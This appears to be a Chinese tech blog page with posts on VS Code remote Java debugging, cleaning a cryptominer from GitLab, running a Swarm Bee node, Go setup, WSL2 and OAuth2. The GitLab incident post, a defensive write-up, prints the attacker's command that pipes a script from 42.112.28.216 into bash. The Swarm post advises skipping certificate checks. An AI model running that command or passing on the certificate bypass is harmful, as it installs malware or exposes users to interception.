瀚海星空

vscode 远程调试java

Fri, 10 Dec 2021 13:28:36 +0000

vscode 远程调试java

vscode是一款很好用的工具，可以基本替代大多数开发工具。但对不同的语言不同环境，并不是开箱即用。需要一定的配置。

本文主要是记录java远程开发配置。

vscode 配置

vscode 的用户配置分3个级别，分别是默认配置、全局配置和工作区配置，优先级也依次递增。对于团队项目，一些规范可以通过项目目录下建一个.vscode/setting.json文件。

vscode安装相关插件

安装 microsoft的Extension Pack for Java
- Language Support for Java(TM) by Red Hat
- Debugger for Java
- Test Runner for Java
- Maven for Java
- Project Manager for Java
- Visual Studio IntelliCode
安装 microsoft remote相关插件
- Remote Development
- Remote - SSH: Editing Configuration Files
- Remote - SSH
- Remote - Containers
- Remote - WSL

编辑相关.ssh/config

Host mysvr
    HostName 111.194.84.170
    Port 2020
    User zhh
    IdentityFile ~/.ssh/id_rsa

点vscode状态栏左下角远程连接，可以选择相应的远程设备，如WSL，container和SSH方式。

然后就可以打开远程文件夹

新建文件夹如下

mkdir -p src/main/java/com/abloz

roottree.
├── README.en.md
├── README.md
└── src
    └── main
        └── java
            └── com
                └── abloz
                    └── main.java

用vscode打开写一个简单的hello world，main.java

package com.abloz;

class Main {

    public static void main(String[] args){
        System.out.println("hello");
        
    }
}

配置.vscode/launch.json

点左侧debug按钮，生成launch.json,选择java，launch java.

{
    "type": "java",
    "name": "Launch Main",
    "request": "launch",
    "mainClass": "com.abloz.Main",
    "projectName": "xxx"
}

xxx为自动生成的project名称

运行和调试

可以通过vscode F5进行调试，添加断点。

问题

vscode 启动vscode server失败

The Language Support for Java (Syntax Server) server crashed and will restart

因为lombok的原因，在settings.json 找到 java.jdt.ls.vmargs，删除lombok的设置：原始版本：

"java.jdt.ls.vmargs": "-XX:+UseParallelGC -XX:GCTimeRatio=4 -XX:AdaptiveSizePolicyWeight=90 -Dsun.zip.disableMemoryMapping=true -Xmx1G -Xms100m -javaagent:\"/home/zhh/.vscode-server/extensions/gabrielbb.vscode-lombok-1.0.1/server/lombok.jar\"",

删除后

"java.jdt.ls.vmargs": "-XX:+UseParallelGC -XX:GCTimeRatio=4 -XX:AdaptiveSizePolicyWeight=90 -Dsun.zip.disableMemoryMapping=true -Xmx1G -Xms100m"

或重置为下面的设置

"java.jdt.ls.vmargs": "-noverify -Xmx1G -XX:+UseG1GC -XX:+UseStringDeduplication"

有可能需要删除插件，类似命令：

 rm /home/zhh/.vscode-server/extensions/gabrielbb.vscode-lombok-1.0.1 -rf

gitlab中挖矿病毒应对

Fri, 12 Nov 2021 07:28:36 +0000

gitlab中挖矿病毒应对

概述

旧版gitlab可能中挖矿病毒

表现为

CPU超高
大量的pkill进程
gitlab时而可用时而不可用，经常502
日志exitool

具体表现

cpu超高

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
  368 git       20   0 2752356 2.290g   4380 S 146.8 29.4  37:35.80 kthzabor
  943 git       20   0 1097568 558192  20912 S   1.3  6.8   3:10.94 bundle

其中kthzabor 被感染。CPU达到100%以上。

大量pkill进程

root@i-fph8oxp3:~# ps -ef |grep pkill
git      10913 32537  0 14:14 ?        00:00:00 /bin/bash -c pkill -9 kdevtmpfsi | pkill -9 dbused | pkill -9 kinsing | crontab -r | curl 42.112.28.216/ldr.sh | bash
git      13814  2656  0 14:15 ?        00:00:00 /bin/bash -c pkill -9 kdevtmpfsi | pkill -9 dbused | pkill -9 kinsing | crontab -r | curl 42.112.28.216/ldr.sh | bash
git      13821 32513  0 14:15 ?        00:00:00 /bin/bash -c pkill -9 kdevtmpfsi | pkill -9 dbused | pkill -9 kinsing | crontab -r | curl 42.112.28.216/ldr.sh | bash

可以看到下载42.112.28.216/ldr.sh 脚本。该IP地址在越南河内。

日志

运行日志有exiftool

/var/log/gitlab/gitlab-workhorse/current文件可以查到exiftool命令失败

{"correlation_id":"eeP6E3wRUK9","filename":"test.jpg","level":"info","msg":"running exiftool to remove any metadata","time":"2021-11-11T14:07:55+08:00"}
{"command":["exiftool","-all=","--IPTC:all","--XMP-iptcExt:all","-tagsFromFile","@","-ResolutionUnit","-XResolution","-YResolution","-YCbCrSubSampling","-YCbCrPositioning","-BitsPerSample","-ImageHeight","-ImageWidth","-ImageSize","-Copyright","-CopyrightNotice","-Orientation","-"],"correlation_id":"eeP6E3wRUK9","error":"exit status 1","level":"info","msg":"exiftool command failed","stderr":""

nginx访问日志

/var/log/gitlab/nginx/gitlab_access.log 查到攻击者IP 51.89.237.81,165.227.239.108,都在英国

89.237.81 - - [12/Nov/2021:13:20:49 +0800] "GET /users/sign_in HTTP/1.0" 200 12708 "" "python-requests/2.26.0"
89.237.81 - - [12/Nov/2021:13:20:58 +0800] "POST /uploads/user HTTP/1.0" 422 24 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36"
227.239.108 - - [12/Nov/2021:13:26:59 +0800] "GET /users/sign_in HTTP/1.0" 200 12708 "" "python-requests/2.24.0"

登录日志

产品日志和授权日志可能有创建的账号 /var/log/gitlab/gitlab-rails/production_json.log，/var/log/gitlab/gitlab-rails/auth.log

修补办法

修改安全防范措施

修改ssh端口
防火墙禁止ssh非许可IP登录。
堡垒机
白名单

杀死病毒进程

更新gitlab

gilab新版已经有了补丁不能直接在线升级，否则病毒也会在里面。

修改exiftool

将文件替换为/opt/gitlab/embedded/bin/exiftool

#!/bin/bash

cat -

运行 chmod a+x exiftool

持续升级并做上面的事情，直到13.10.3+。

升级

用下面的命令：

sudo su
cd ~
curl -JLO https://gitlab.com/gitlab-org/build/CNG/-/raw/master/gitlab-ruby/patches/allow-only-tiff-jpeg-exif-strip.patch
cd /opt/gitlab/embedded/lib/exiftool-perl
patch -p2 < ~/allow-only-tiff-jpeg-exif-strip.patch

如果 patch 失败，可以根据失败日志手动修改文件。

参考

https://forum.gitlab.com/t/cve-2021-22205-how-to-determine-if-a-self-managed-instance-has-been-impacted/60918
https://www.freebuf.com/articles/system/282954.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22205

Swarm操作实录

Fri, 28 May 2021 14:38:35 +0000

概述

本文讲述Swarm客户端Bee运行并挖矿的详细实操。作者：周海汉

Swarm（蜂群）为以太坊官方存储项目，目前已经独立出来。由以太坊三巨头Vitalik Buterin，Gavin Wood，Jeffrey Wilcke创建。其目标是实现自主的内容网络存储和web3.0服务，并保护用户隐私。

对应的币为BZZ。客户端程序叫Bee。

本文在Centos 7.6下完成。ubuntu和MacOS可以适当修改相应命令。

环境

CentOS 7.6
Bee-clef 用于bee客户端私钥和签名管理的程序
Bee 客户端
screen：保持远程命令行session的程序
jq：json美化命令程序

设置yum镜像

设为阿里云

[root@25 ~]# cd /etc/yum.repos.d/

[root@25 yum.repos.d]# curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo

设置fedoral_epel

解决部分包不存在的问题如jq安装不了。

[root@25 ~]# yum install -y jq
No package jq available.

cd /etc/pki/rpm-gpg
wget https://archive.fedoraproject.org/pub/epel/RPM-GPG-KEY-EPEL-7
curl -o RPM-GPG-KEY-EPEL-7 https://archive.fedoraproject.org/pub/epel/RPM-GPG-KEY-EPEL-7

vi /etc/yum.repo.d/epel.repo

[epel]
name=Extra Packages for Enterprise Linux 7 - $basearch
#baseurl=http://download.fedoraproject.org/pub/epel/7/$basearch
metalink=https://mirrors.fedoraproject.org/metalink?repo=epel-7&arch=$basearch
failovermethod=priority
enabled=0
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7

安装相关软件

安装screen

这是一个让进程不退出的程序

[root@25 ~]# yum install -y screen

创建会话：

如指定会话名称为clef

screen -S clef

恢复：

screen -r clef
如果只有一个会话：
screen -r

查看会话

screen -ls

遇到错误恢复screen时会出现There is no screen to be resumed matching xxx 执行

screen -d xxx

再执行恢复

退出screen

exit

其他命令和快捷键

将当前在另一个终端attach的会话强制退出，在当前终端接管：screen -d name screen -r name

先利用ctrl-a [ 进入copy mode。在copy mode下可以回滚、搜索、复制就像用使用 vi 一样。在copy mode下有这些快捷键：

C-b ：Backward、PageUp
C-f ：Forward、PageDown
H： High，将光标移至左上角
L：Low，将光标移至左下角
0：移到行首
$：行末
w：forward one word，以字为单位往前移
b：backward one word，以字为单位往后移
Space：第一次按为标记区起点，第二次按为终点

按esc退出copy mode。

快捷键

Ctrl + a，d #暂离当前会话
Ctrl + a，c #在当前screen会话中创建一个子会话
Ctrl + a，w #子会话列表
Ctrl + a，p #上一个子会话
Ctrl + a，n #下一个子会话
Ctrl + a，0-9 #在第0窗口至第9子会话间切换
ctrl + a，A #给窗口自定义命名

安装jq

这是linux下json解析工具 jq必须配置epel.repo库才能安装成功。

[root@25 ~]# yum install -y jq

准备好bee目录

mkdir /mnt/bee && cd $_

安装bee-clef

Clef在法语里是key的意思，用于以太坊客户端账号和私钥key的管理。

Clef本质上是一个独立的交易签名器。Clef 背后的思想是将帐户管理与Geth客户端其它功能分开。Clef通过 IPC 或 HTTP 暴露了一个轻量API，可以被Dapp用作签名工具。

Clef最终目标是代替Geth的节点账号管理，可用来对交易进行签名。Clef可以使DApp不必依赖Geth的帐户管理，当DApp需要对数据（或交易）进行签名时，可以将数据发送给Clef，在经过授权同意后，Clef将把签名返回给DApp。

因为Bee必须自动和快速签署许多交易，一个单独打包的clef程序bee-clef ，用于处理Bee的签名。它包含了Bee所需的全部特殊配置，以便Clef可以和Bee完全配合工作。

[root@25 bee]# wget https://github.com/ethersphere/bee-clef/releases/download/v0.4.12/bee-clef_0.4.12_amd64.rpm

Unable to establish SSL connection.

[root@25 bee]# wget https://github.com/ethersphere/bee-clef/releases/download/v0.4.12/bee-clef_0.4.12_amd64.rpm --no-check-certificate
[root@25 bee]# rpm -ivh bee-clef_0.4.12_amd64.rpm

遇到Unable to establish SSL connection. 可以用–no-check-certificate规避

ubuntu需要下载相应deb文件，并用下面的命令安装

sudo dpkg -i bee-clef_0.4.12_amd64.deb

检查bee-clef状态

[root@25 bee]# systemctl status bee-clef
Active: active (running) since Wed 2021-05-26 16:05:49 CST; 2min 14s ago
 CGroup: /system.slice/bee-clef.service
           ├─4216 bash /usr/bin/bee-clef-service start
           ├─4224 clef --stdio-ui --keystore /var/lib/bee-clef/keystore --configdir /var/lib/bee-clef --chainid 5 --r...
           └─4225 tee /var/lib/bee-clef/stdout

MacOs里面

launchctl list | grep swarm-clef

查看日志

journalctl -f -u bee-clef.service

配置clef

配置文件在

/etc/bee-clef/

这里不需要修改。

数据存储

私钥和数据存在如下目录

/var/lib/bee-clef/

停止bee-clef

停止默认启动的服务，防止冲突

systemctl stop bee-clef

下载启动脚本

[root@25 bee]# wget https://raw.githubusercontent.com/ethersphere/bee-clef/master/packaging/bee-clef-service --no-check-certificate
[root@25 bee]# chmod +x bee-clef-service

用screen 管理clef

创建并进入名字为clef的一个会话

screen -S clef

启动bee-clef

[root@25 bee]# ./bee-clef-service start

按键盘上的ctrl+a ctrl+d 退出名字为clef的一个会话

安装设置Bee 客户端

需要完成下面的事情

设置Bee外部签名程序Bee Clef. (推荐)
安装 Bee 并以服务启动
配置 Bee.
用 gETH 和 gBZZ让你的节点获取资助
等待您的支票簿交易完成并更新批存储
检查Bee在工作。

安装Bee客户端

[root@25 bee]# wget https://github.com/ethersphere/bee/releases/download/v0.6.0/bee_0.6.0_amd64.rpm --no-check-certificate
[root@25 bee]# rpm -ivh bee_0.6.0_amd64.rpm
Logs:   journalctl -f -u bee.service
Config: /etc/bee/bee.yaml
Bee requires an Ethereum endpoint to function. By default is using ws://localhost:8546 ethereum endpoint.
If needed obtain a free Infura account and set:

It is recommended to use external signer with bee.
Check documentation for more info:
- SWAP https://docs.ethswarm.org/docs/installation/manual#swap-bandwidth-incentives
- External signer https://docs.ethswarm.org/docs/installation/bee-clef

After you finish configuration run 'sudo bee-get-addr'.

日志里说没有找到本地以太坊客户端或者RPC服务。这里直接采用infura的测试网。

查看Bee状态

[root@25 bee]# systemctl status bee.service

停止Bee服务

[root@25 bee]# systemctl stop bee.service

申请一个infura节点API

在主页面点击创建项目的入口。左侧有Ethereum，点击create project。名字填一个独特的名字如ablo_swarm。 keys面板上endpoint可以选择主网还是测试网。这里选择goerli测试网。会有projectID和security。我的projectID：

c1a6f66d211046afadbfe6fc351bf53a

endpoint信息：

https://goerli.infura.io/v3/c1a6f66d211046afadbfe6fc351bf53a
wss://goerli.infura.io/ws/v3/c1a6f66d211046afadbfe6fc351bf53a

projectID是公开的，但PROJECT_SECRET 必须保密。

访问方式：

curl — user :YOUR-PROJECT-SECRET \
https://<network>.infura.io/v3/YOUR-PROJECT-ID

获取区块高度

curl https://goerli.infura.io/v3/c1a6f66d211046afadbfe6fc351bf53a \
-X POST \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"eth_blockNumber","params": [],"id":1}'

得到回复：

{"jsonrpc":"2.0","id":1,"result":"0x4a2249"}

获取某账号余额

curl https://goerli.infura.io/v3/c1a6f66d211046afadbfe6fc351bf53a \
-X POST \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"eth_getBalance","params": ["0xf50D9ecC857d00f93B223359dBcd1793aEEF6429","latest"],"id":1}'

返回结果如下

如无充值：

{"jsonrpc":"2.0","id":1,"result":"0x0"}

有值的话：

{"jsonrpc":"2.0","id":1,"result":"0x161e78faeed7a00"}

配置Bee

编辑配置文件

sudo vi /etc/bee/bee.yaml
sudo systemctl restart bee

全节点或轻节点

由于Bee在向网络提供服务以交换gBZZ时会占用大量资源，因此默认情况下，Bee节点以轻节点模式启动。要允许您的蜜蜂使用您的网络带宽和计算资源为网络服务并开始兑现支票，请将–full node标志设置为true。或在bee.yml配置文件中设置：

full-node: true

区块链端点

您的Bee节点必须能够访问以太坊Goerli testnet区块链，以便它能够与您的chequebook合约进行交互和部署。您可以运行自己的Goerli节点，或者改用已有的服务，推荐Infura。

默认情况下，Bee期望在ws://localhost:8545. 如改用以太坊RPC提供程序，如下更改配置：

swap-endpoint: wss://goerli.infura.io/ws/v3/your-api-key

如果要使用节点解析ENS域名，还必须提供以太坊mainnet RPC提供程序的端点。

resolver-options: ["https://mainnet.infura.io/v3/<<your-api-key>>"]

debug api

缺省关闭的，需要打开，并重启

debug-api-enable: true
debug-api-addr: 127.0.0.1:1635

为了安全，1635端口必须被防火墙屏蔽，决不能在外网卡监听，并暴露出去。

文件描述符

db-open-files-limit: 2000

获取资助

在Discord #faucet频道获取

为了部署它的支票簿和与Swarm互动，你的蜜蜂需要gBZZ和gETH。

首先，找出你的以太坊地址：

sudo bee-get-addr

或者用这个命令

curl -s localhost:1635/addresses | jq .ethereum

您的Bee节点需要gBZZ才能正确地与网络交互。为了接收这些，您需要登录到Swarm的Discord，并使用节点的以太坊地址从#faucet水龙头频道请求gBZZ测试Token。

必须键入而不是粘贴如下的命令，并替换您的以太坊地址

/faucet sprinkle 0xf50D9ecC857d00f93B223359dBcd1793aEEF6429

机器人会给出信息

Your node 0xf50D9ecC857d00f93B223359dBcd1793aEEF6429 was sprinkled! (half a minute) 

可能报错，检查一下配置是否有问题

Your node 0xf50D9ecC857d00f93B223359dBcd1793aEEF6429 was not sprinkled because of an error...

You don't have any sprinkles left.

Your node 0xf50D9ecC857d00f93B223359dBcd1793aEEF6429 was already sprinkled

通过Metamask

用浏览器访问下面的网站，替换接受账号

https://bzz.ethswarm.org/?transaction=buy&amount=10&slippage=30&receiver=0xf50D9ecC857d00f93B223359dBcd1793aEEF6429

连接到Metamask，并切换到goerli测试网点网页左下角的”Get G-ETH”.

其他水龙头

https://faucet.ethswarm.org/
https://faucet.goerli.mudit.blog/
https://gitter.im/goerli/testnet?at=5f7f1d756e0eb84469728b8b

查看余额

水龙头地址，查看自己地址有没有交易

https://goerli.etherscan.io/address/0x10210572d6b4924af7ef946136295e9b209e1fa0

自己地址

https://goerli.etherscan.io/address/0xf50D9ecC857d00f93B223359dBcd1793aEEF6429

启动bee服务

可以直接使用bee start命令，也可以用systemctl命令来启动bee。

bee start使用 ~/.bee.yaml 作为配置文件，~/.bee 作为数据文件夹 systemctl start bee.service使用 /etc/bee/bee.yaml 作为配置文件，/var/lib/bee 作为数据文件夹

刚开始不使用[root@25 bee]# systemctl start bee.service，方便定位问题。

命令行可以用下面的方式

[root@25 bee]# screen -S bee
[root@25 bee]# bee start --verbosity 5 --swap-endpoint https://goerli.infura.io/v3/c1a6f66d211046afadbfe6fc351bf53a --debug-api-enable --clef-signer-enable --clef-signer-endpoint /var/lib/bee-clef/clef.ipc
--full-node=false

Bee node is booting up for the first time. Please provide a new password.
Password:
Confirm password:
INFO[2021-05-26T18:54:25+08:00] using swarm network address through clef: ca8b3b60048b004a1eb848f7af59f820fb20e80be1a4c504ab4b6d29fc6e0d2e
INFO[2021-05-26T18:54:25+08:00] swarm public key 03ac547b2519bd51fa3d4daa5a5640bf5a31d0e1635fa9dcc2f116e3161aca4336
DEBU[2021-05-26T18:54:25+08:00] new libp2p key created
DEBU[2021-05-26T18:54:25+08:00] new pss key created
INFO[2021-05-26T18:54:25+08:00] pss public key 02cece89c3593f896987f9ba37e3c133069fba8f97e697d3d882e1e7fc850e186b
INFO[2021-05-26T18:54:25+08:00] using ethereum address f50d9ecc857d00f93b223359dbcd1793aeef6429
INFO[2021-05-26T18:54:25+08:00] debug api address: [::]:1635
INFO[2021-05-26T18:54:27+08:00] using default factory address for chain id 5: 73c412512e1ca0be3b89b77ab3466da6a1b9d273
INFO[2021-05-26T18:54:37+08:00] no chequebook found, deploying new one.
WARN[2021-05-26T18:54:38+08:00] cannot continue until there is sufficient ETH (for Gas) and at least 1 BZZ available on f50d9ecc857d00f93b223359dbcd1793aeef6429
WARN[2021-05-26T18:54:38+08:00] learn how to fund your node by visiting our docs at https://docs.ethswarm.org/docs/installation/fund-your-node

以上warning说明需要充值gBZZ，在Discord #faucet 获取充值。参考获取资助

TRAC[2021-05-27T10:26:05+08:00] sending transaction 708f661a4119745c3277a32204bd8a9e82325a50753a622c7ca954d8a49ff6db with nonce 0
INFO[2021-05-27T10:26:06+08:00] deploying new chequebook in transaction 708f661a4119745c3277a32204bd8a9e82325a50753a622c7ca954d8a49ff6db
TRAC[2021-05-27T10:26:06+08:00] starting to watch transaction 708f661a4119745c3277a32204bd8a9e82325a50753a622c7ca954d8a49ff6db with nonce 0
INFO[2021-05-27T10:26:22+08:00] deployed chequebook at address eb3fdb6ca2736bcff41255ad70c7fa757bcd20fc
INFO[2021-05-27T10:26:22+08:00] depositing 10000000000000000 token into new chequebook
TRAC[2021-05-27T10:26:23+08:00] sending transaction cf4390dcfe30ce141da60bfb1735b7f9467cdc616963627cab6c1c512baa9ab3 with nonce 1
INFO[2021-05-27T10:26:23+08:00] sent deposit transaction cf4390dcfe30ce141da60bfb1735b7f9467cdc616963627cab6c1c512baa9ab3
TRAC[2021-05-27T10:26:23+08:00] starting to watch transaction cf4390dcfe30ce141da60bfb1735b7f9467cdc616963627cab6c1c512baa9ab3 with nonce 1
INFO[2021-05-27T10:26:40+08:00] successfully deposited to chequebook
INFO[2021-05-27T10:26:40+08:00] using datadir in: '/root/.bee'
INFO[2021-05-27T10:26:40+08:00] database capacity: 1000000 chunks (approximately 20.3GB)
DEBU[2021-05-27T10:26:41+08:00] initializing NAT manager
DEBU[2021-05-27T10:26:48+08:00] NAT manager initialized

可能会报如下错误：

level=warning msg="failing to connect to clef signer: dial unix /var/lib/bee-clef/clef.ipc: connect: permission denied"

clef.ipc通过创建Bee用户并设置权限来保护文件，以便该用户只能使用ipc套接字。

查看日志

sudo journalctl --lines=100 --follow --unit bee

如果出现 Error: open /var/lib/bee/statestore/LOCK: permission denied 或者：msg=”failing to connect to clef signer: dial unix /var/lib/bee-clef/clef.ipc: connect: permission denied”

则进入/var/lib/bee，确认下statestore的当前权限组是不是bee 如果不是则修改下

sudo chown bee.bee statestore sudo systemctl restart bee

检查Bee状态

[root@25 bee]# systemctl status bee.service
● bee.service - Bee - Ethereum Swarm node
   Loaded: loaded (/usr/lib/systemd/system/bee.service; enabled; vendor preset: disabled)
   Active: active (running) since Wed 2021-05-26 18:35:49 CST; 9s ago
     Docs: https://docs.ethswarm.org
 Main PID: 11105 (bee)
   CGroup: /system.slice/bee.service
           └─11105 /usr/bin/bee start --config /etc/bee/bee.yaml
May 26 18:40:21 25 bee[11427]: time="2021-05-26T18:40:21+08:00" level=warning msg="failing to connect to clef signer: dial unix /var/lib/bee-clef/clef.ipc: connect: permission denied

[root@25 bee]# curl localhost:1633

如果返回

Ethereum Swarm Bee

说明正常监听。可以用debug api交互

查看节点连接情况

[root@25 bee]# curl -s localhost:1635/peers | jq ".peers | length"
22

查询当前节点余额

curl http://127.0.0.1:1635/balances | jq

出票状态

[root@25 bee]# curl http://127.0.0.1:1635/chequebook/cheque
{"lastcheques":[]}

下载查票脚本

wget https://github.com/juu17/swarm-tech-tutorial/raw/master/downloads/cashout.sh
chmod 755 cashout.sh

查票

./cashout.sh

兑换支票

` 重要！不要经常兑现支票！一周一次就足够了！这可以防止和缓解区块链上不必要的拥塞。 `

./cashout.sh cashout-all 5

参考

https://github.com/juu17/swarm-tech-tutorial
https://docs.ethswarm.org/docs/installation/bee-clef/
https://docs.ethswarm.org/docs/installation/install
兑换支票

Centos7 go 安装

Thu, 20 May 2021 13:28:36 +0000

安装go

下载地址：https://golang.org/dl/go1.16.4.linux-amd64.tar.gz

下载后上传到指定目录，解压，配环境变量。

[root@3 down]# tar zxvf go1.16.4.linux-amd64.tar.gz

[root@3 down]# mv go /usr/local/go

[root@3 ~]# vi .bashrc
export PATH=$PATH:/usr/local/go/bin

[root@3 ~]# source .bashrc
[root@3 ~]# go version
go version go1.16.4 linux/amd64

[root@3 ~]# vi /etc/profile

export GOROOT=/usr/local/go
export GOPATH=/home/gopath
export PATH=$PATH:$GOROOT/bin:$GOPATH/bin

[root@3 ~]# mkdir -p /home/go/src /home/go/pkg /home/go/bin
[root@3 ~]# source /etc/profile
[root@3 ~]# go env
...

写测试程序

创建两个模块，一个greeting模块和一个主模块，在主模块调用greeting模块

创建目录结构

[root@3 ~]# mkdir go
[root@3 ~]# cd go
[root@3 ~]# mkdir -p hello greeting

创建被调用模块

[root@3 go]# cd greeting/
[root@3 greeting]# go mod init z.com/greeting

#  go mod init 创建一个go.mod文件来跟踪依赖 此时，会在当前目录下添加一个go.mod文件
[root@3 greeting]# cat go.mod
module z.com/greeting

go 1.16
[root@3 go]# vi greeting/greeting.go

编辑 greeting.go

package greeting

import "fmt"

func Greeting(name string) string {
        msg := fmt.Sprintf("hello %v", name)
        return msg
}

从另一个模块调用

编辑主程序 hello.go

[root@3 greeting]# cd ..
[root@3 go]# cd hello
[root@3 hello]# go mod init z.com/hello
go: creating new go.mod: module z.com/hello
go: to add module requirements and sums:
        go mod tidy

[root@3 hello]# vi hello.go

package main

import "fmt"
import "z.com/greeting"

func main() {
        msg := greeting.Greeting("梦想家")
        fmt.Println(msg)
}

[root@3 hello]# go run hello.go
hello.go:6:8: no required module provides package z.com/greeting; to add it:
        go get z.com/greeting

// 因为没有发布模块，所以本地开发，需要修改一下依赖        
[root@3 hello]# go mod edit -replace=z.com/greeting=../greeting
[root@3 hello]# go run .
hello.go:6:8: module z.com/greeting provides package z.com/greeting and is replaced but not required; to add it:
        go get z.com/greeting
        
[root@3 hello]# go mod tidy
go: found z.com/greeting in z.com/greeting v0.0.0-00010101000000-000000000000
[root@3 hello]# cat go.mod
module z.com/hello

go 1.16

replace z.com/greeting => ../greeting

require z.com/greeting v0.0.0-00010101000000-000000000000

[root@3 hello]# go run .
hello 梦想家

运行成功

go module 功能被集成到 go 命令行工具中，例如，在调用诸如 go build，go install，go run，go test 之类的命令时，将启动相应的操作，如缓存，创建或更新 go.mod 和 go.sum 等

go fmt 格式化文档。go mod -fix 更新依赖，删除一些go.mod的重复项等。

配置国内代理

国内网络访问国外资源经常会出现不稳定的情况。 Go 生态系统中有着许多中国 Gopher 们无法获取的模块，比如最著名的 golang.org/x/…。并且在中国大陆从 GitHub 获取模块的速度也有点慢。

因此设置 CDN 加速代理就很有必要了，以下是几个速度不错的提供者：

七牛：Goproxy 中国 https://goproxy.cn
阿里： mirrors.aliyun.com/goproxy/
官方：全球 CDN 加速 https://goproxy.io/

其他：jfrog 维护 https://gocenter.io

七牛proxy

全球不限速代理。打开你的终端并执行使用go1.11以上版本并开启go module机制

$ go env -w GO111MODULE=on
$ go env -w GOPROXY=https://goproxy.cn,direct

或

$ echo "export GO111MODULE=on" >> ~/.profile
$ echo "export GOPROXY=https://goproxy.cn" >> ~/.profile
$ source ~/.profile

官方

# 配置 GOPROXY 环境变量
export GOPROXY=https://goproxy.io,direct
# 还可以设置不走 proxy 的私有仓库或组，多个用逗号相隔（可选）
# export GOPRIVATE=git.mycompany.com,github.com/my/private

阿里

# 使用go1.11以上版本并开启go module机制
export GOPROXY=https://mirrors.aliyun.com/goproxy/

安装tour教程

[root@3 ~]# go get golang.org/x/tour
[root@3 ~]# tour
2021/05/20 14:31:43 Serving content from /home/go/pkg/mod/golang.org/x/tour@v0.0.0-20210512164546-a278aee398d5
2021/05/20 14:31:43 Please open your web browser and visit http://127.0.0.1:3999

Windows 交互WSL2

Thu, 20 May 2021 12:28:36 +0000

概述

WSL是Windows Subsystem for Linux的简称。 windows 中直接使用linux？硬盘如何共享？程序如何共享？

本文在windows的WSL2中安装好ubuntu20后，基本交互和使用的介绍。

windows 访问 Ubuntu

文件访问

访问：Ubuntu root

\\wsl$\Ubuntu

个人目录：

\\wsl$\Ubuntu\home\<yourname>

在windows terminal 设置中配置缺省进入目录

"startingDirectory": "//wsl$/Ubuntu/home/<yourname>/"

可以映射网络驱动器

\\wsl$\Ubuntu

从windows运行linux 命令

wsl <linux-command>

如

wsl ls -la

Ubuntu访问Windows

文件访问

/mnt/c/Users/<yourname>

如果要访问C:\projects\code\

cd ~
ln -s /mnt/c/projects/code/

linux执行windows命令

带上exe后缀。如从windows打开当前文件夹

explorer.exe .

编辑bashrc

notepad.exe ~/.bashrc

用vscode打开目录：

code ~/projects/mywebsite

wsl 安装文件

修改ubuntu镜像地址：

# 先备份/etc/apt/sources.list
cp /etc/apt/sources.list /etc/apt/sources.list.bak

# 替换镜像
sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
# 更新源
apt-get update
# 安装中文支持
apt-get install -y language-pack-zh-hans
# 设置默认语言
update-locale LANG=zh_CN.UTF-8

PS C:\Users\zhh> wsl.exe -l -v
  NAME                   STATE           VERSION
* Ubuntu                 Running         1
  docker-desktop         Running         2
  docker-desktop-data    Running         2
PS C:\Users\zhh> wsl.exe --set-version Ubuntu 2

安装git

sudo apt-get update
sudo apt-get install git-all

安装 nodejs

设置nodejs镜像

npm config set registry https://registry.npm.taobao.org
或者vim .npmrc
registry=https://registry.npm.taobao.org

安装nvm

到https://github.com/nvm-sh/nvm 查找最新版本。

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.37.1/install.sh | bash

nvm --version
0.37.1

# 查询node版本
nvm ls

# 用nvm安装node
nvm install node
Now using node v15.3.0 (npm v7.0.14)

# 安装npx,npx也可以对包进行管理
npm install npx

或者单独用操作系统安装node环境,但这种方式不方便切换不同的node版本

sudo apt-get install build-essential
curl -sL https://deb.nodesource.com/setup_14.x | sudo -E bash -
sudo apt-get install -y nodejs

安装docker

docker 类似虚拟机。所以不需要在windows和wsl各安装一份。 Docker Desktop for Windows 完全支持WSL2.

在windows安装Docker Desktop，并使docker和docker compose在win和wsl都可用。

可以在安装docker时配置支持WSL2，也可以在安装完毕后，在右下角图标中点settings，在general页配置选中Use the WSL 2 based engine . 在Resources页的WSL Integration 项，选中ubuntu。

vscode 集成 wsl2

VS Code WSL2 Integration 在vs code中执行 Ctrl + Shift + P，输入Terminal: Select Default Shell，然后WSL Bash。

vscode和其他程序一样，可以访问linux，通过\wsl$\。如下插件可以简化linux和docker使用：

安装 VS Code 远程 WSL 扩展: 此扩展使你能够在 VS Code 中打开在 WSL 上运行的 Linux 项目， (无需担心路径问题、二进制兼容性或) 的其他跨操作系统挑战。
安装 VS code Remote-Containers 扩展此扩展使你能够在容器中打开你的项目文件夹或存储库，利用 Visual Studio Code 的完整功能集来完成容器中的开发工作。
安装 VS Code Docker 扩展。此扩展添加了从 VS Code 内部生成、管理和部署容器化应用程序的功能。 (需要 Remote-Container 扩展，才能实际使用容器作为开发环境。 )

除了在命令行直接远程操作，还可以用remote window和左侧的Remote Explorer 图标访问容器和远程系统。

参考

https://www.sitepoint.com/wsl2/
https://zhuanlan.zhihu.com/p/258563812
安装docker： https://docs.docker.com/docker-for-windows/install/
https://docs.docker.com/docker-for-windows/wsl/
wsl2 update linux kernel https://docs.microsoft.com/zh-cn/windows/wsl/wsl2-kernel
玩转 WSL 在 Win10 上打造 Linux 开发环境 https://zhuanlan.zhihu.com/p/93457173
https://docs.microsoft.com/zh-cn/windows/wsl/tutorials/wsl-containers

理解App下的OAuth2授权

Tue, 22 Dec 2020 10:28:36 +0000

OAuth2

在授权登录时，OAuth2 用得比较广泛。本文详细描述了不同客户端用OAuth2标准获取用户授权的方式。

名词解释

参与角色

客户端：第三方应用。需要从用账号中获取资源的应用。
资源服务器：资源获取 API 提供者。
授权服务器：提供同意或者拒绝用户授权的服务器。可以和资源服务器是同一或分离的服务器。
用户：资源拥有者。
其他
第三方应用注册：向资源方注册app，一般提供名称，网站，logo和重定向URI。
重定向URI：基于web的，必须用https协议避免授权时被拦截。原生APP一般注册一个自定义scheme，如demoapp://redirect
